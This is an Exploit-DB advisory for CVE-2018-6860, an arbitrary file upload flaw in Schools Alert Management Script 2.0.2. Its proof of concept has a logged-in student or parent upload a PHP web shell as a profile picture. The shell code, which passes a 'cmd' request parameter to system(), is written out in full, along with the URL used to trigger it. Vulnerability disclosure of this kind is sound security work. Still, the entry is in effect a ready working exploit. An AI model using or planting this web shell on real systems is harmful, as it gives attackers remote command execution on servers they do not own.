Schools Alert Management Script 2.0.2 - Arbitrary File Upload

EDB-ID: 44011
Author: Prasenjit Kanti Paul
Published: 2018-02-10
CVE: CVE-2018-6860
Type: Webapps
Platform: PHP
Vulnerable App: N/A 

 # Exploit Title: Schools Alert Management Script - 2.0.2 - Arbitrary File Upload / Remote Code Execution 
 # Date: 07.02.2018 
 # Vendor Homepage: https://www.phpscriptsmall.com/ 
 # Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/ 
 # Category: Web Application 
 # Exploit Author: Prasenjit Kanti Paul 
 # Web: http://hack2rule.wordpress.com/ 
 # Version: 2.0.2 
 # Tested on: Linux Mint 
 # CVE: CVE-2018-6860 
 ################################################################################################################## 
  
 Proof of Concept 
 ================= 
 1. Login as Student/Parent 
 2. Go to "Edit Profile" to upload profile picture. 
 3. Once you find upload section, upload following code as a PHP file:  
     <?php 
         if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } 
     ?> 
 4. Try to access given PHP file : [site.com]/malicious.php?cmd=ls

Source: www.exploit-db.com
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